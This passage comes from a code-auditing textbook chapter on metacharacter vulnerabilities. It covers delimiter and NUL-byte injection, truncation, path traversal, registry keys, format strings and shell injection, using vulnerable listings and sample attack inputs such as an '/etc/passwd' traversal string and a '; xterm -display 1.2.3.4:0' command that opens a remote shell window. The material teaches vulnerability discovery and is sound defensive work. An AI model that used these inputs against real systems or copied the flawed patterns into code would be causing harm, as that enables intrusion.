string. For example, say you have a data file containing username and password pairs, 

with each line in the file in the format username:password. 

You can deduce that two delimiters are used: the colon (:) character and the newline 

(\n) character. What if you have the username bob, but could specify the password 

test\nnewuser:newpassword\n? The password entry would be written to the file like 

this: 

bob:test 

newuseruser:newpassword 

 

You can add an arbitrary new user account, which probably isn't what the developer 

intended for regular users. 
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So what would a vulnerable application look like? Essentially, you're looking for a 

pattern in which the application takes user input that isn't filtered sufficiently and 

uses it as input to a function that interprets the formatted string. Note that this 

interpretation might not happen immediately; it might be written to a secondary 

storage facility and then interpreted later. An attack of this kind is sometimes referred 

to a "second-order injection attack." 

Note 

This phrase "second-order injection attack" has been coined to refer to delayed SQL 

and cross-site scripting attacks, but it could apply to any sort of stored metacharacter 

data that's interpreted later. 

 

To see an example of an application that's vulnerable to a basic delimiter injection 

attack, look at Listing 8-8, which contains the code that writes the password file 

shown previously. 

Listing 8-8. Embedded Delimiter Example 

use CGI; 

 

... verify session details ... 

 

$new_password = $query->param('password'); 

 

open(IFH, "</opt/passwords.txt") || die("$!"); 

open(OFH, ">/opt/passwords.txt.tmp") || die("$!"); 

 

while(<IFH>){ 

    ($user, $pass) = split /:/; 

 

    if($user ne $session_username) 

        print OFH "$user:$pass\n"; 

    else 

        print OFH "$user:$new_password\n"; 

} 

 

close(IFH); 

close(OFH); 

 

Listing 8-8 does no real sanitization; it simply writes the supplied password parameter 

to the file, so an attacker could add extraneous delimiters. 
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In general, discovering vulnerabilities of this nature consists of a number of steps: 

1.  Identify some code that deals with metacharacter strings, including the common 

examples presented throughout this chapter. Web applications often have a 

variety of metacharacter strings because they constantly deal with URLs, session 

data, database queries, and so on. Some of these formats are covered in this 

chapter; however Web applications are covered in more depth in Chapters 17(? 

[????.]), "Web Applications," and 18(? [????.]), "Web Technologies." 

2.  Identify all the delimiter characters that are specially handled. Depending on the 

situation, different characters take on special meanings. In well-known examples 

such as format strings and SQL, this chapter specifies the characters you need to 

be aware of. However, for unique situations, you need to examine the code that 

interprets the data to find the special characters. 

3.  Identify any filtering performed on the input, and see what characters or 

character sequences are filtered (as described in "Input Filters" later in this 

chapter). 

4.  Eliminate potentially hazardous delimiter characters from your compiled list that 

have been filtered out successfully. Any remaining delimiters indicate a 

vulnerability. 

Using this simple procedure, you can quickly evaluate the construction of strings to 

determine what delimiters or special character sequences could be sneaked into input. 

The impact of being able to sneak delimiters into the string depends heavily on what 

the string represents and how it's interpreted. To see this technique in action, look at 

Listing 8-9, which is a CGI application being launched by a Web server: 

Listing 8-9. Multiple Embedded Delimiters 

BOOL HandleUploadedFile(char *filename) 

{ 

    unsigned char buf[MAX_PATH], pathname[MAX_PATH]; 

    char *fname = filename, *tmp1, *tmp2; 

    DWORD rc; 

    HANDLE hFile; 

 

    tmp1 = strrchr(filename, '/'); 

    tmp2 = strrchr(filename, '\\'); 

 

    if(tmp1 || tmp2) 

        fname = (tmp1 > tmp2 ? tmp1 : tmp2) + 1; 
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    if(!*fname) 

        return FALSE; 

 

    if(strstr(fname, "..")) 

        return FALSE; 

 

    _snprintf(buf, sizeof(buf), "\\\\?\\%TEMP%\\%s", fname); 

 

    rc = ExpandEnvironmentStrings(buf, pathname, 

sizeof(pathname)); 

 

    if(rc == 0 || rc > sizeof(pathname)) 

        return FALSE; 

 

    hFile = CreateFile(pathname, ...); 

 

    ... read bytes into the file ... 

} 

 

This code snippet handles an uploaded file from the client and stores the file in a 

specific temporary directory. Being able to store files outside this directory isn't 

desirable, of course, but is it safe? Apply the procedure shown previously: 

1.  Identify some code that deals with format strings. The input string is formatted a 

couple of ways before it eventually becomes a filename. First, it's added to a 

statically sized buffer and is prefixed with "\\\\?\\%TEMP%\\". Second, it's passed 

to ExpandEnvironmentStrings(), where presumably %TEMP% is expanded to a 

temporary directory. Finally, it's used as part of a filename. 

2.  Identify the set of delimiter characters that are specially handled. Primarily, you 

want to access a special file or achieve directory traversal, which would involve 

characters such as '/', '\' and the sequence "..". Also, notice that the string is 

passed to ExpandEnvironmentStrings(). Environment variables are denoted with % 

characters. Interesting! 

3.  Identify any filtering that's performed. The strrchr() function is used to find the 

last slash and then increments past it. Therefore, slashes are out. The code also 

specifically checks for the double-dot sequence "..", so that's out, too. 

4.  You have eliminated all the usual directory traversal tricks but are left with the % 

character that ExpandEnvironmentStrings() interprets. This interpretation allows 

arbitrary environment variables to be substituted in the pathname. Given that 

this code is a CGI program, clients could actually supply a number of environment 
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variables, such as QUERY_STRING. This environment variable could contain all the 

sequences that have already been checked for in the original filename. If 

"..\..\..\any\pathname\file.txt" is supplied to QUERY_STRING, the client can 

write to arbitrary locations on the file system. 

NUL Character Injection 

As you've seen, C uses the NUL metacharacter as a string delimiter, but higher-level 

languages (such as Java, PHP, and Perl) use counted strings, in which the string 

contains its length and the NUL character has no special meaning. This difference in 

interpretation creates situations where the NUL character can be injected to 

manipulate the behavior of C APIs called by higher level languages. This issue is really 

just a special case of an embedded delimiter, but it's unique enough that it helps to 

discuss it separately. 

Note 

NUL byte injection is an issue regardless of the technology because at some level, the 

counted string language might eventually interact with the OS. Even a true virtual 

machine environment, such as Java or .NET, eventually calls base OS functions to do 

things such as open and close files. 

 

You know that NUL-terminated strings are necessary when calling C routines from the 

OS and many external APIs. Therefore, a vulnerability may exist when attackers can 

include NUL characters in a string later handled as a C-style string. For example, say 

a Perl application opens a file based on some user-provided input. The application 

requires only text files, so the developer includes a filter requiring that the file end in 

a .txt extension. Figure 8-1 shows an example of a valid filename laid out in memory: 

Figure 8-1. C strings in memory 

 

 

However, what if one of the bytes is a NUL terminator character? After all, Perl doesn't 

treat the NUL character as a metacharacter. So the resulting string could look like 

Figure 8-2. 

Figure 8-2. C string with NUL-byte injection in memory 
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The function responsible for opening this file would consider the first NUL byte the end 

of the string, so the .txt extension would disappear and the bob file would be opened. 

This scenario is actually quite common in CGI and server-side Web scripting 

languages. The problems arise when decoding hexadecimal-encoded data (discussed 

in more depth in "Hexadecimal Decoding" later in this chapter). If the sequence %00 is 

encountered in input, it's decoded into a single NUL character. If the NUL character 

isn't handled correctly, attackers can artificially truncate strings while still meeting 

any other filtering requirements. The following Perl code is a simple example that 

could generate the altered file name shown Figure 8-2: 

open(FH, ">$username.txt") || die("$!"); 

print FH $data; 

close(FH); 

 

The username variable in this code isn't checked for NUL characters. Therefore, 

attackers can NUL terminate the string and create whatever file extensions they 

choose. The string in Figure 8-2 is just one example, but the NUL character could be 

used to exploit the server. For example, supplying execcmd.pl%00 for the username will 

create a file named execcmd.pl. A file with the .pl extension can be used to execute 

arbitrary code on many Web servers. 

Most C/C++ programs aren't prone to having NUL bytes injected into user data 

because they deal with strings as regular C-character arrays. However, there are 

situations in which unexpected NUL characters can appear in strings. This most 

commonly occurs when string data is read directly from the network, as shown in 

Listing 8-10. 

Listing 8-10. NUL-Byte Injection with Memory Corruption 

int read_string(int fd, char *buffer, size_t length) 

{ 

    int rc; 

    char *p; 

 

    if(length == 0) 

        return 1; 
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    length--; 

 

    rc = read(fd, buffer, length); 

 

    if(rc <= 0) 

        return 1; 

 

    buffer[length] = '\0'; 

 

    // trim trailing whitespace 

    for(p = &buffer[strlen(buffer)-1]; isspace(*p); p--) 

        *p = '\0'; 

 

    return 0; 

} 

 

The read_string() function in Listing 8-10 reads a string and returns it to users after 

removing trailing whitespace. The developer makes the assumption, however, that 

the string includes a trailing newline and does not contain any NUL characters (except 

at the end). If the first byte is a NUL character, the code trims whitespace before the 

beginning of the buffer, which could result in memory corruption. 

The same can be said of dealing with files. When the read primitives are used to read 

a number of bytes into the buffer from a file, they too might be populated with 

unexpected NUL characters. This error can lead to problems like the one described 

previously in Listing 8-10. For example, the fgets() function, used for reading strings 

from files, is designed to read text strings from a file into a buffer. That is, it reads 

bytes into a file until one of the following happens: 

 It runs out of space in the destination buffer. 

 It encounters a newline character (\n) or end-of-file (EOF). 

So the fgets() function doesn't stop reading when it encounters a NUL byte. Because 

it's specifically intended to deal with strings, it can catch developers unaware 

sometimes. The following example illustrates how this function might be a problem: 

if(fgets(buffer, sizeof(buffer), fp) != NULL){ 

    buffer[strlen(buffer)-1] = '\0'; 

 

   ... 

} 
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This code is written with the assumption that the trailing newline character must be 

stripped. However, if the first character is a NUL byte, this code writes another NUL 

byte before the beginning of the buffer, thus corrupting another variable or program 

control information. 

Truncation 

Truncation bugs are one of the most overlooked areas in format string handling, but 

they can have a variety of interesting results. Developers using memory-unsafe 

languages can dynamically resize memory at runtime to accommodate for user input 

or use statically sized buffers based on an expected maximum input length. In 

statically sizes buffers, input that exceeds the length of the buffer must be truncated 

to fit the buffer size and avoid buffer overflows. Although truncation avoids memory 

corruption, you might observe interesting side effects from data loss in the shortened 

input string. To see how this works, say that a programmer has replaced a call to 

sprintf() with a call to snprintf() to avoid buffer overflows, as in Listing 8-11. 

Listing 8-11. Data Truncation Vulnerability 

int update_profile(char *username, char *data) 

{ 

    char buf[64]; 

    int fd; 

 

    snprintf(buf, sizeof(buf), "/data/profiles/%s.txt", 

              username); 

    fd = open(buf, O_WRONLY); 

    ... 

} 

 

The snprintf() function (shown in bold) in Listing 8-11 is safe from buffer overflows, 

but a potentially interesting side effect has been introduced: The filename can be a 

maximum of only 64 characters. Therefore, if the supplied username is close to or 

exceeds 60 bytes, the buffer is completely filled and the .txt extension is never 

appended. This result is especially interesting in a Web application because attackers 

could specify a new arbitrary file extension (such as .php) and then request the file 

directly from the Web server. The file would then be interpreted in a totally different 

manner than intended; for example, specifying a .php extension would cause the file 

to run as a PHP script. 

Note 

File paths are among the most common examples of truncation vulnerabilities; they 

can allow an attacker to cut off a mandatory component of the file path (for example, 
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the file extension). The resulting path might avoid a security restriction the developer 

intended for the code. 

 

Listing 8-12 shows a slightly different example of truncating file paths. 

Listing 8-12. Data Truncation Vulnerability 2 

int read_profile(char *username, char *data) 

{ 

    char buf[64]; 

    int fd; 

 

    snprintf(buf, sizeof(buf), "/data/%s_profile.txt", 

             username); 

    fd = open(buf, O_WRONLY); 

    ... 

} 

 

For Listing 8-12, assume you want to read sensitive files in the /data/ directory, but 

they don't end in _profile.txt. Even though you can truncate the ending off the 

filename, you can't view the sensitive file unless the filename is exactly the right 

number of characters to fill up this buffer, right? The truth is it doesn't matter because 

you can fill up the buffer with slashes. In filename components, any number of 

contiguous slashes are seen as just a single path separator; for example, /////// and 

/ are treated the same. Additionally, you can use the current directory entry (.) 

repetitively to fill up the buffer in a pattern such as this: ././././././. 

Auditing Tip 

Code that uses snprintf() and equivalents often does so because the developer 

wants to combine user-controlled data with static string elements. This use may 

indicate that delimiters can be embedded or some level of truncation can be 

performed. To spot the possibility of truncation, concentrate on static data following 

attacker-controllable elements that can be of excessive length. 

 

Another point to consider is the idiosyncrasies of API functions when dealing with data 

they need to truncate. You have already seen examples of low-level memory-related 

problems with functions in the strncpy() family, but you need to consider how every 

function behaves when it receives data that isn't going to fit in a destination buffer. 

Does it just overflow the destination buffer? If it truncates the data, does it correctly 

NUL-terminate the destination buffer? Does it have a way for the caller to know 
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whether it truncated data? If so, does the caller check for this truncation? You need to 

address these questions when examining functions that manipulate string data. Some 

functions don't behave as you'd expect, leading to potentially interesting results. For 

example, the GetFullPathName() function in Windows has the following prototype: 

DWORD GetFullPathName(LPCTSTR lpFileName, DWORD nBufferLength, 

                        LPTSTR lpBuffer, LPTSTR *lpFilePart) 

 

This function gets the full pathname of lpFileName and stores it in lpBuffer, which is 

nBufferLength TCHARs long. Then it returns the length of the path it outputs, or 0 on 

error. What happens if the full pathname is longer than nBufferLength TCHARs? The 

function leaves lpBuffer untouched (uninitialized) and returns the number of TCHARs 

required to hold the full pathname. So this failure case is handled in a very unintuitive 

manner. Listing 8-13 shows a correct calling of this function. 

Listing 8-13. Correct Use of GetFullPathName() 

DWORD rc; 

TCHAR buffer[MAX_PATH], *filepart; 

DWORD length = sizeof(buffer)/sizeof(TCHAR); 

 

rc = GetFullPathName(filename, length, buffer, &filepart); 

 

if(rc == 0 || rc > length) 

{ 

    ... handle error ... 

} 

 

As you have probably guessed, it's not uncommon for callers to mistakenly just check 

whether the return value is 0 and neglect to check whether the return code is larger 

than the specified length. As a result, if the lpFileName parameter is long enough, the 

call to GetFullPathName() doesn't touch the output buffer at all, and the program uses 

an uninitialized variable as a pathname. Listing 8-14 from the Apache 2.x codebase 

shows a vulnerable call of GetFullPathName(). 

Listing 8-14. GetFullPathName() Call in Apache 2.2.0 

apr_status_t filepath_root_case(char **rootpath, char *root, 

apr_pool_t 

*p) 

{ 

#if APR_HAS_UNICODE_FS 

    IF_WIN_OS_IS_UNICODE 

    { 
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        apr_wchar_t *ignored; 

        apr_wchar_t wpath[APR_PATH_MAX]; 

        apr_status_t rv; 

        apr_wchar_t wroot[APR_PATH_MAX]; 

        /* ???: This needs review. Apparently "\\?\d:." 

         * returns "\\?\d:" as if that is useful for 

         * anything. 

         */ 

        if (rv = utf8_to_unicode_path(wroot, sizeof(wroot) 

            / sizeof(apr_wchar_t), root)) 

            return rv; 

        if (!GetFullPathNameW(wroot, sizeof(wpath) / 

            sizeof(apr_wchar_t), wpath, &ignored)) 

            return apr_get_os_error(); 

 

        /* Borrow wroot as a char buffer (twice as big as 

         * necessary) 

         */ 

        if ((rv = unicode_to_utf8_path((char*)wroot, 

             sizeof(wroot), wpath))) 

            return rv; 

        *rootpath = apr_pstrdup(p, (char*)wroot); 

} 

#endif 

    return APR_SUCCESS; 

} 

 

You can see that the truncation case hasn't been checked for in Listing 8-14. As a 

result, the wroot variable can be used even though GetFullPathName() might not have 

initialized it. You might encounter other functions exhibiting similar behavior, so keep 

your eyes peeled! 

Note 

ExpandEnvironmentStrings() is one function that behaves similarly to 

GetFullPathName(). 

 
 

7.4.4 Common Metacharacter Formats 

31051536.html
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In the previous section, you learned some basic issues with constructing 

metacharacter strings from user-malleable data. The following sections present 

specific issues with a number of common metacharacter formats. This is by no means 

an exhaustive list, but it addresses several of the most common formats. Exploring 

these formats should reinforce the discussion so far and provide the context needed 

to identify vulnerability cases in metacharacter formats not covered here. 

Path Metacharacters 

One of the most common cases of metacharacter vulnerabilities occurs when 

handling textual representations of path hierarchies. This vulnerability happens most 

often when programs access files on a file system, but it occurs in other situations too, 

such as accessing Windows registry keys. 

Many systems organize objects into some sort of hierarchy that can be represented 

textually by constructing a string with each hierarchical path component separated by 

a delimiter sequence. For file systems, this delimiter is typically a forward slash (/) 

character in UNIX or a backslash (\) character in Windows. The existence of these 

delimiter characters in untrusted input might cause vulnerabilities if a program 

doesn't handle them properly. Exploiting these vulnerabilities could allow an attacker 

access to objects the developer didn't intend. As a code auditor, you must identify 

when programs are accessing resources in an unsafe mannerthat is, when untrusted 

user input is used to build path components for a resource and when that input can be 

used to specify objects that shouldn't be accessible. As a quick test, it's a good idea to 

list resources the application should be able to access, and compare that list with 

what the application actually allows. 

When looking at code dealing with path canonicalization, keep in mind that the 

truncation issues introduced earlier are particularly relevant, as there's often the 

opportunity to cut off path elements, such as file extensions for files and subkeys for 

registry objects. 

File Canonicalization 

Applications often receive filenames or paths that are subsequently created or 

opened for processing. CGI scripts and server-side Web applications, HTTP servers, 

LPD servers, FTP servers, and privileged local processes are just a few examples of 

where you see filenames supplied from untrusted sources. Applications that neglect 

to adequately check untrusted filenames can end up revealing sensitive data to 

clients, or worse, allowing them to write data to files they shouldn't have access to, 

which could result in total system compromise. 

Each file in a file system has a basic string representation that uniquely identifies its 

location. This representation typically consists of a device name (optionally), followed 

by an absolute path, like so: 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 436 

C:\WINDOWS\system32\calc.exe 

 

The device is indicated by C:, followed by the absolute path where the file resides, 

\WINDOWS\system32, and the filename, calc.exe. Although this method is the simplest 

way to refer to that file, it certainly isn't the only way. In fact, there are many ways to 

refer to this same file, as shown in these examples: 

C:\WINDOWS\system32\drivers\..\calc.exe 

calc.exe 

.\calc.exe 

..\calc.exe 

\\?\WINDOWS\system32\calc.exe 

 

The process of converting all these different representations into the simplest form is 

referred to as file canonicalization. When an application requests a file open 

operation, the kernel resolves the path and verifies permission at each hierarchical 

level until the destination file is found. However, an application might be at risk when 

building filenames of data from untrusted sourcesfor example, failing to correctly 

anticipate how the kernel resolves the requested file path. The subject of file 

canonicalization is a broad one and differs significantly in Windows and UNIX. For that 

reason, common issues are addressed in this section, and specifics of UNIX and 

Windows are covered in Chapters 9(? [????.]), "UNIX I: Privileges and Files," and 11(? 

[????.]) "Windows I: Objects and the File System." 

The most common exploitation of filenames happens if the application neglects to 

check for directory traversal. In this case, an attacker accesses the parent directory 

by using the path "..". When an application builds a pathname that incorporates 

user-controlled input, it can sometimes be manipulated into unintentionally creating 

or accessing files outside the subdirectory that file operations should have been 

restricted to. Applications are vulnerable to these problems when they fail to 

specifically check for directory traversal or neglect to fully canonicalize the pathname 

before validating that it's within the expected file system boundaries. Listing 8-15 

shows a simple example in Perl. 

Listing 8-15. Directory Traversal Vulnerability 

use CGI; 

... 

 

$username = $query->param('user'); 

open(FH, "</users/profiles/$username") || die("$!"); 

print "<B>User Details For: $username</B><BR><BR>"; 
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while(<FH>){ 

    print; 

    print "<BR>" 

} 

 

close(FH); 

 

The script in Listing 8-15 attempts to open a user's profile, which is presumably 

located in the /users/profiles directory, but fails to do any sanitization on the 

username variable, which is pulled directly from the query string in the current Web 

request being serviced. This means attackers could simply specify the user 

name ../../../../../etc/passwd and use this script to print the password file (or any 

other file of their choosing). 

As mentioned, you can diagnose path handling issues by cross-referencing the 

resources a program requires with the resources it's actually capable of accessing. In 

Listing 8-15, the resources the program intends to access are user profiles (any files 

in the /users/profiles directory). However, given what you know about file system 

traversal, you can see that the resources accessible to this program potentially 

include any files on the system, depending on the user context of the process. 

The Windows Registry 

Windows operating systems use the Registry as a central repository of system-wide 

settings that software is free to query and manipulate for its own purposes. Following 

are the basic Windows registry manipulation functions: 

 RegOpenKey() and RegOpenKeyEx() These functions are used for opening a 

registry key that can subsequently be used in value queries. 

 RegQueryValue() and RegQueryValueEx() These functions are used to read data 

from a specified registry key. 

 RegCreateKey() and RegCreateKeyEx() These functions are used to create a 

new subkey. 

 RegDeleteKey(), RegDeleteKeyEx(), and RegDeleteValue() The first two 

functions are used to delete a subkey from the registry. RegDeleteValue() 

leaves the key intact but deletes the value associated with it. 

There are a few important considerations in handling registry paths. The first major 

concern is that truncation can occur when handling fixed buffers. Attackers might be 

able to cut off part of the key and trick the program into querying the wrong key. The 

following registry query is vulnerable to truncation: 

int get_subkey(char *version) 

{ 
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    HKEY hKey; 

    long rc; 

    char buffer[MAX_PATH]; 

 

    snprintf(buffer, sizeof(buffer), 

             "\\SOFTWARE\\MyProduct\\%s\\subkey2", version); 

 

    rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buffer, 0, KEY_READ, 

                        &hKey); 

 

    if(rc != ERROR_SUCCESS) 

        return 1; 

 

    ... 

 

    RegCloseKey(hKey); 

} 

 

This program reads a configuration parameter by using a version string supplied in 

data from a remote host. If the version string is long enough, it can fill the buffer and 

truncate the "subkey2" at the end. Like files, registry keys can have multiple slashes 

to separate subkey elements, so "\\SOFTWARE\\MyProduct" is equivalent to 

"\\SOFTWARE\\\\\\\\MyProduct" when accessing the key. Furthermore, trailing 

slashes are truncated as well, so "\\SOFTWARE\\MyProduct" is also equivalent to 

"\\SOFTWARE\\MyProduct\\\\\\\\". Therefore, any time untrusted data is used as part 

of a registry key, the danger of truncation exists. 

Note 

The subkey string supplied to RegOpenKey() and RegOpenKeyEx() can be at most 

MAX_PATH characters long. If the string is any longer, the function returns an error. 

 

As you might have guessed, if attackers can submit additional subkey separators (\), 

they can use them to query arbitrary subkeys or even the base key in the string. The 

one saving grace is that registry keys are opened in a two-step process: The key must 

be opened first, and then a particular value is manipulated with another set of 

functions. However, this two-step process doesn't discount the truncation 

vulnerability because the attack could still be viable in these situations: 

 The attacker can manipulate the key name directly. 

 The attacker wants to manipulate keys, not values. 
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 The application uses a higher-level API that abstracts the key value 

separation. 

 The attacker wants to manipulate the default (unnamed) value. 

 The value name corresponds to the value the attacker wants to manipulate in 

another key. 

C Format Strings 

Format strings are a class of bugs in the printf(), err(), and syslog() families of 

functions. All these functions convert and print data values of different types to a 

destination (a string or a filestream). The output data is formatted according to the 

format string, which contains literal data, and format specifiers that indicate 

where a data element should be inserted in the stream and what data type it should 

be converted and displayed as. These functions, therefore, take a variable number of 

arguments according to how many format specifiers are in the format string. The 

following code shows an example of calling the fprintf() function: 

if(open(filename, O_RDONLY) < 0){ 

  fprintf(stderr, "[error]: unable to open filename: %s (%m)\n", 

          filename); 

  return(-1); 

} 

 

This code prints a string (the %s format specifier) and a system error (the %m format 

specifier). 

Note 

The %m format specifier is an exception to each format specifier having a 

corresponding argument. It prints a system error string based on the value of the 

global error indicator errno. 

 

Problems happen when untrusted input is used as part or all of the format string 

argument in any of the functions mentioned previously. Obviously, if users can supply 

format specifiers that weren't expected, the corresponding arguments don't exist and 

the values displayed are based on whatever random data happens to be on the 

program stack. This could allow users to see the program stack or even crash the 

program by using a format specifier that expects a corresponding pointer argument 

(such as %s, which expects a character pointer to exist on the stack). In addition, one 

format specifier causes even more problems: %n. The %n specifier is quite unique in 

that it doesn't cause any data to be written to the output stream; instead, it takes a 
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corresponding integer pointer argument that gets set to the number of characters 

output thus far. A legitimate use of %n looks like this: 

int num; 

 

printf("test%n", &num);    // sets num to 4 

 

The string test is printed and the number of output characters is written to num (in this 

case, four). However, this format specifier is quite useful for attackers. The %n 

specifier can be exploited to write an arbitrary value to an arbitrary location in 

memory, which usually results in execution of attacker-controlled code in the current 

process. 

When auditing code, you must ensure that any call to these functions doesn't have a 

format string derived from untrusted input. You might think a program allowing users 

to supply the format string isn't likely; after all, why would developers want users to 

be able to specify format conversions? However, it's happened in a number of 

applications. One of the most notable examples is in the SITE EXEC command of the 

popular WU-FTP daemon. The basic problem is that user-controlled data is passed to 

the lreply() function, as shown: 

lreply(200, cmd); 

 

In this code, the user directly controls the cmd variable. Listing 8-16 shows what 

happens in lreply(). 

Listing 8-16. Format String Vulnerability in WU-FTPD 

void lreply(int n, char *fmt,...) 

{ 

    VA_LOCAL_DECL 

 

    if (!dolreplies)  /* prohibited from doing long replies? */ 

    return; 

 

    VA_START(fmt); 

 

    /* send the reply */ 

    vreply(USE_REPLY_LONG, n, fmt, ap); 

 

    VA_END; 

} 
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void vreply(long flags, int n, char *fmt, va_list ap) 

{ 

    char buf[BUFSIZ]; 

 

    flags &= USE_REPLY_NOTFMT | USE_REPLY_LONG; 

 

    if (n)   /* if numeric is 0, don't output one; 

                use n==0 in place of printfs */ 

    sprintf(buf, "%03d%c", n, 

            flags & USE_REPLY_LONG ? '-' : ' '); 

 

    /* This is somewhat of a kludge for autospout. I think 

     * that autospout should be done differently, but 

     * that's not my department. -Kev 

     */ 

    if (flags & USE_REPLY_NOTFMT) 

    snprintf(buf + (n ? 4 : 0), 

             n ? sizeof(buf) - 4 : sizeof(buf), "%s", fmt); 

    else 

    vsnprintf(buf + (n ? 4 : 0), 

              n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap); 

    ... 

} 

 

As you can see, the second argument to lreply() is a format string passed directly to 

vreply(); the vreply() function then passes the string as the format specifier to 

vsnprintf(). This example shows how format string vulnerabilities typically occur. 

They are most likely to happen when a function takes a variable number of arguments 

and passes that data to an API function for formatting. This type of code occurs most 

often for logging routines, as shown in Listing 8-17. 

Listing 8-17. Format String Vulnerability in a Logging Routine 

int log_error(char *fmt, ...) 

{ 

   char buf[BUFSIZ]; 

   va_list ap; 

 

   va_start(ap, fmt); 

   vsnprintf(buf, sizeof(buf), fmt, ap); 

   va_end(ap); 

 

   syslog(LOG_NOTICE, buf); 
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} 

 

Listing 8-17 shows a logging routine that format data and pass the result to syslog(). 

However, syslog() also performs formatting; so this code is vulnerable to a format 

string attack. 

Auditing Tip 

When attempting to locate format string vulnerabilities, search for all instances of 

printf(), err(), or syslog() functions that accept a nonstatic format string argument, 

and then trace the format argument backward to see whether any part can be 

controlled by attackers. 

If functions in the application take variable arguments and pass them unchecked to 

printf(), syslog(), or err() functions, search every instance of their use for nonstatic 

format string arguments in the same way you would search for printf() and so forth. 

 

Because locating format strings is a straightforward process, creating programs that 

can analyze code (both source and binary) and locate these vulnerabilities 

automatically isn't too difficult. Many static analysis tools have this capability, 

including those discussed in Chapter 2(? [????.]). Making use of these tools could be 

a helpful when verifying whether code is safe from format string attacks. 

Shell Metacharacters 

Often an application calls an external program to perform a task the external program 

specializes in, as in the following examples: 

 A CGI script launches a mail program to send collected form data. 

 Changing account information on a system might involve launching an editor 

(chpass, for example). 

 Scheduled execution daemons (cron and at) call programs scheduled to run as 

well as a mail program to send results (in some cases). 

 Server-side Web applications might call external programs to do some sort of 

back-end processing. 

These examples are only a few possibilities. External application execution happens 

often and can be prone to security problems. Programs are typically launched in two 

ways: running the program directly using a function such as execve() or 

CreateProcess(), or running it via the command shell with functions such as system() 

or popen(). Launching a process via the exec() system call replaces the currently 
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running process with the new one or perhaps spawns a new process instance (as with 

CreateProcess()), like so. 

char *progname = "/usr/bin/sendmail"; 

char *args[] = { "-s", "hi", "user@host.com" }; 

 

execve(progname, args, envp); 

 

In this instance, an application attempts to send an e-mail; however, after calling 

execve(), the current application is replaced with the sendmail process. This prevents 

the original process from writing the e-mail data. To accomplish this, the programmer 

must fork a new process and set up pipe descriptors. As another option, the program 

can just run sendmail via the shell popen() interface. The second option does all the 

pipe setup and handling internally and is much easier to code. Listing 8-18 shows an 

example. 

Listing 8-18. Shell Metacharacter Injection Vulnerability 

int send_mail(char *user) 

{ 

    char buf[1024]; 

    FILE *fp; 

 

    snprintf(buf, sizeof(buf), 

             "/usr/bin/sendmail s \"hi\" %s", user); 

 

    fp = popen(buf, "w"); 

 

    if(fp == NULL) 

        return 1; 

 

    ... write mail ... 

} 

 

When opening commands with this method, any input is subject to interpretation by 

the shell, so there can be undesirable consequences if certain characters appear in 

the input stream. To understand these consequences better, return to the following 

line from Listing 8-18: 

snprintf(buf, sizeof(buf), 

          "/usr/bin/sendmail s \"hi\" %s", user); 
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When popen() runs this command, it actually constructs the following command line 

(assuming the supplied e-mail address is user@host.com): 

/bin/sh c "/usr/bin/sendmail s "hi" user@host.com" 

 

The program is being run via the command shell (sh), and any shell metacharacters 

just as if they were typed at the command line or in shell scripts. Returning to the 

previous example, what if the username is given as "user@host.com; xterm -- display 

1.2.3.4:0"? The command line that popen() constructs now looks like this: 

/bin/sh c "/usr/bin/sendmail s "hi" user@host.com; xterm display 1.2.3.4:0" 

 

The semicolon (;) is interpreted as a command separator, so supplying this username 

doesn't just open sendmail as intended; it also sends an xterm to a remote host! 

Parsing shell metacharacters when using popen() and similar calls poses an imminent 

threat to an application when untrusted data is used to build the command line. When 

auditing applications that use shell capabilities, you need to determine whether 

arbitrary commands could be run via metacharacter injection. Because the shell has 

extensive scripting capabilities, quite a number of characters can be useful to 

attackers. The following list shows the usual suspects: 

Dangerous Shell Characters 

; (separator) 

| (pipe) 

& (background) 

< (redirect) 

> (redirect) 

` (evaluate) 

! (not operator) 

- (argument switch) 

* (wildcard) 

/ (slash) 

? (question) 

( (open parenthesis) 

) (close parenthesis) 

. (wildcard) 
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; (separator) 

" " (space) 

[ (open bracket) 

] (close bracket) 

"\t" (tab) 

^ (caret) 

~ (homedir) 

\ (escape) 

"\\" (backslash) 

' (quote) 

" (double quote) 

"\r" (carriage return) 

"\n" (newline) 

$ (variable) 

 

Different shells interpret data differently, so this list isn't complete, but it covers the 

most common characters. Of course, not all these characters are dangerous in all 

situations. 

You also need to pay close attention to the application being launched. Some 

applications are inherently dangerous, depending on their function and how they are 

implemented. Often, you have restrictions on supplying data to these applications; 

however, the application that's being launched potentially represents a new point of 

exposure for the caller. (Remember: A chain is only as strong as its weakest link.) 

Additionally, the called application might have in-band control processing of its own. 

One notable example is the mail program, as shown in Listing 8-19. 

Listing 8-19. An Example of Dangerous Program Use 

int send_mail(char *name, char *email, char *address) 

{ 

    char buf[1024]; 

    FILE *fp; 

 

    snprintf(buf, sizeof(buf), "/usr/bin/mail %s", email); 

 

    fp = poen(buf, "w"); 
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    if(fp == NULL) 

        return 1; 

 

    fprintf(fp, "Subject: web form\n\n"); 

    fprintf(fp, "full name: %s\n", name); 

    fprintf(fp, "address: %s\n", address); 

    ... 

 

} 

 

For this example, assume the e-mail address has been adequately filtered. So is this 

program safe? No! The mail program interprets lines beginning with a tilde (~) as a 

command to run, so if you specify the name or address with a value of "\n~xterm 

display 1.2.3.4:0", the mail program spawns an xterm. 

Obviously, maintaining a detailed knowledge of the inner workings of all programs on 

a platformor even all applications your team has writtencan be quite a challenge. 

Despite this difficulty, when developers decide to call another application, they are 

crossing a trust boundary and passing control entirely outside the bounds of their 

applications. Passing control in this way introduces the possibility that the called 

program could undermine all the calling application's security restrictions. For this 

reason, it's well worth your time to examine programs instantiated by the application 

you're auditing, especially if any untrusted input is passed to those programs. 

Finally, be mindful of the fact that input doesn't need to be supplied to an external 

program directly to create vulnerabilities. Attackers might be able to adversely affect 

an application in a number of other ways, depending on how the program is called and 

the environment in which it runs. These details tend to be OS specific, however, so 

they're covered in more depth in Chapters 9(? [????.]) through 12(? [????.]). 

Perl open() 

The multipurpose capabilities of the Perl open() function are worth noting. This 

function can open both files and processes, so it does the job of the open() and popen() 

functions in C. The open() function can be called with three arguments (file handle, 

mode, and filename) or two arguments (file handle and filename). The second 

method determines in which mode to open the file by interpreting metacharacters 

that might be at the beginning or end of the filename. These mode characters, listed 

in Table 8-1, can also direct that the call to the open() function should run the data as 

a command instead of opening a file. 

Table 8-1. Mode Character Interpretation in Perl's open() Function 
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Byte 

Sequence 

Location Meaning 

< Beginning Open file for read access. 

> Beginning Open file for write access; create file if it doesn't exist. 
